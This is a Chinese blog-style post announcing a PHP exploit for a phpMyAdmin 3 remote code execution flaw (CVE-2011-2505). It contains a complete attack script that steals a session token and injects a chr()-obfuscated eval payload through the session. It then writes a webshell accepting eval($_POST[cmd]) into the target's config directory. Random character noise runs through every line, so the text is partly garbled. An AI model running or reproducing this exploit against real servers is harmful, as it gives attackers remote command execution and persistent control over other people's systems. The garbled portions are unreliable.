最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。+ d9 {' L; ?6 o
% |7 S2 c# M1 e6 X/ c: l
昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。
& n" S6 @5 U6 L" P
- t% ~& q/ o, i: Q首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:
) L- r) w% i' c4 g' ^, D一是session.auto_start = 1;
0 o: F" i: v/ v5 i+ i) P二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
) z# o2 J8 y/ {3 K当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。
0 @5 K1 X* X7 F7 G$ P+ |, l! i! v& Q' a% w3 s
在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。7 z' d: k8 ~0 v4 @2 C
7 c# K9 Z6 p" W8 }
于是写了这个php版本的exp,代码如下:
- B* V4 H$ n" K5 o
7 R4 U+ z# C) ] M#!/usr/bin/php# k8 h ~" v9 n7 D* C# ]/ ]
<?php
: ^1 R* n4 |7 O- bprint_r('
. a I$ h6 \" T$ L4 X7 H$ j+---------------------------------------------------------------------------+
, v7 C, d% b8 a6 q6 W I7 npma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
/ I8 q( h/ z) U8 y. S2 Lby oldjun(www.oldjun.com)9 S* P7 |0 K2 v
welcome to www.t00ls.net* ]# s) O: s' {% S: L- I
mail: oldjun@gmail.com
`/ D* g( |" ZAssigned CVE id: CVE-2011-2505 f; A8 u. h# @
+---------------------------------------------------------------------------+4 r0 m N$ A. I4 S; q8 _) r
');
$ i( j$ @/ Q9 R5 f+ I k! D7 M' T+ s$ b
/**% u( E$ g1 r. `# _
* working when the directory:"config" exists and is writeable.; a. [# S, V& P2 `! G! Q( b
**/& j2 v' l. o. A) `) P: R
! }; N! _- z, z% q# {$ U
if ($argc < 3) {
7 {- b a# T/ w9 K' G print_r('1 a# e" n1 S2 p$ ?3 \# }6 O
+---------------------------------------------------------------------------+
% K$ A/ C) n7 F7 E+ WUsage: php '.$argv[0].' host path7 j; Y9 h% |' U- H. k* P
host: target server (ip/hostname)' E$ U- c) U4 x8 \2 M7 R' w
path: path to pma3; K$ C& O6 |/ Z# Q
Example:$ j$ r9 j9 e- {$ ?/ T
php '.$argv[0].' localhost /pma/
# q( i# C% |7 X g; F+---------------------------------------------------------------------------+
1 q$ u6 O. }, N( I7 x$ j# [');1 d1 }$ \8 k: {% i
exit;
6 h( L5 q! v& W2 [9 N5 M) w}9 w' r3 l) Y* @# A: a
6 Q/ c+ ~' p& H; f2 ? I! q
$host = $argv[1];
7 V6 z. F- `; w) h( I0 ]$path = $argv[2];9 @: q6 G1 V0 `7 U
) H: R9 k1 T+ r. @4 [8 f, ?
/**# z& |( C5 x& \. { a
* Try to determine if the directory:"config" exists5 v$ y3 i6 i1 e; m' h
**/
/ x7 I8 m3 g% K# Q7 Necho "[+] Try to determine if the directory:config exists....\n";
' u* \, R: C5 s' F. [$returnstr=php_request('config/');
9 @8 ~0 ]3 {. f6 c) d3 cif(strpos($returnstr,'404')){) A, X$ ?5 V% s7 |# r& b
exit("[-] Exploit Failed! The directory:config do not exists!\n");
I- y- a5 m ^/ V7 }}
+ ]5 X, F: G* o) x0 d) N! f; W4 q$ \/ X% u8 Y" E3 P
/**! }+ z, \( _: V' c
* Try to get token and sessionid
4 G. G/ Q4 K8 u7 T4 n**/( b* R0 v; Z5 D
echo "[+] Try to get token and sessionid....\n";
]/ B3 _/ O0 P$result=php_request('index.php');
& y* A4 Y. L" \6 L0 w0 \" V+ lpreg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);% d! M& q% @$ _- g* _. t
$token=$resp[3];6 ^* ~' U' |; k' l0 I
$sessionid=$resp[1];' P8 v/ d+ b6 \. ~
if($token && $sessionid){
1 h' Y" B/ B$ f. K; P- P echo "[+] token token\n";
3 z/ j# A( X; d q; c echo "[+] Session ID sessionid\n";$ a/ z0 _% I8 [0 D$ i' C6 i5 \. h& q$ S
}else{
4 L( R5 b6 v; E4 Z/ r4 B exit("[-] Can't get token and Session ID,Exploit Failed!\n");. @: G1 \. V2 s5 N+ t+ Y x8 y
}, C& |3 L3 a, v# D
7 R3 ^: O* o9 A
/**
4 [. a0 w% P, Q5 n1 m * Try to insert shell into session
5 `3 u+ m/ \7 O% U. n**/, d; s' Y5 X9 Q; V+ ?
echo "[+] Try to insert shell into session....\n";
& d: p% m, o5 f( s: Q; bphp_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.5 w+ n8 I# E0 ?% ?3 I) r6 O5 K
5 @" x1 ` X0 [0 M5 \* j
/**
' P5 J& `; V$ T7 n * Try to create webshell6 m- R8 m: c' c3 g" B
**/
# F) ]) U8 ^0 [+ m: C! T0 kecho "[+] Try to create webshell....\n";5 q8 x5 V* V5 E& |8 ~5 |
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);5 N W; k% t) n) R$ O
/**
- k1 A6 n; W4 j+ R2 Z" u7 j * Try to check if the webshell was created successfully
5 J4 M' C& b4 g: Q9 i& Z**/' X: ~- \, |5 ]2 F8 R
echo "[+] Try to check if the webshell was created successfully....\n";& r7 J) a* A9 {* |! ?
$content=php_request('config/config.inc.php');
1 q5 h% t* {$ ?9 d0 g: hif(strpos($content,'t00ls')){
5 K0 }1 `1 _2 p' z echo "[+] Congratulations! Expoilt successfully....\n"; J J. c/ ^. a! \+ r9 Z" u3 F
echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
|3 M) ?1 _% c1 m( H" E! b}else{
% e% d4 z T" B, x: y1 y; ?7 x6 z6 ^ exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");7 ?- v/ W2 g3 H0 M1 ^
}& E$ Q; A% I) p' S
& Q% @+ O- [1 f2 M8 i' ^8 M
function php_request($url,$data='',$cookie=''){
5 P$ F0 Y8 b1 L! [ global $host, $path;% w* W/ y0 `( K
* S) k4 \5 d- [6 |' Z" n $method=$data?'POST':'GET';
( |6 i, U5 b* ^2 ^3 `# T$ |! b* m
: ^) h+ k6 P' h5 E+ x3 d3 O $packet = $method." ".$path.$url." HTTP/1.1\r\n";! w. _* t t6 c; l0 w/ N& N
$packet .= "Accept: */*\r\n";
4 H9 P$ y" u' B3 L5 w6 Z2 W $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";5 T( o! g$ g0 b: w, R
$packet .= "Host: $host\r\n";0 C _+ r b$ a8 ?8 s1 x
$packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";% s4 Q: K6 e' ^- W3 O
$packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
8 q8 H9 e4 R. R! F; Y $packet .= $cookie?"Cookie: $cookie\r\n":"";& Z z# E: e3 ~
$packet .= "Connection: Close\r\n\r\n";
) V; f. H8 L5 O1 ]" ? $packet .= $data?$data:"";8 p! O: U# Z: N" X' n" B: v! e
8 Y, L& ] ]/ [% X5 `( l7 ]$ V
$fp = fsockopen(gethostbyname($host), 80);+ ]4 b. e* u' V4 W" w
if (!$fp) {4 j# w6 T% i9 v3 ^1 a$ P+ Y
echo 'No response from '.$host; die;1 [& P2 i* U7 T4 b4 L' T' E
}" C' \' _7 h% p
fputs($fp, $packet);
- w! e5 X/ h. ~+ [
- K/ s2 p: I& e7 G; q0 ] $resp = '';
& @; E$ @' }. ]5 T: W
/ x# `3 [9 z% V) E, U, M while ($fp && !feof($fp))) r+ H* r) K, v
$resp .= fread($fp, 1024);: [# z$ o. H( A# K" \; p5 b
' V V; f6 |- G8 I
return $resp;
6 }/ C/ g' u2 U3 d! H}
3 w( _8 Q/ b' b, X' d$ j8 R# _
W; k/ o) I% `7 x' r?> / U8 Z: u: x; M
. |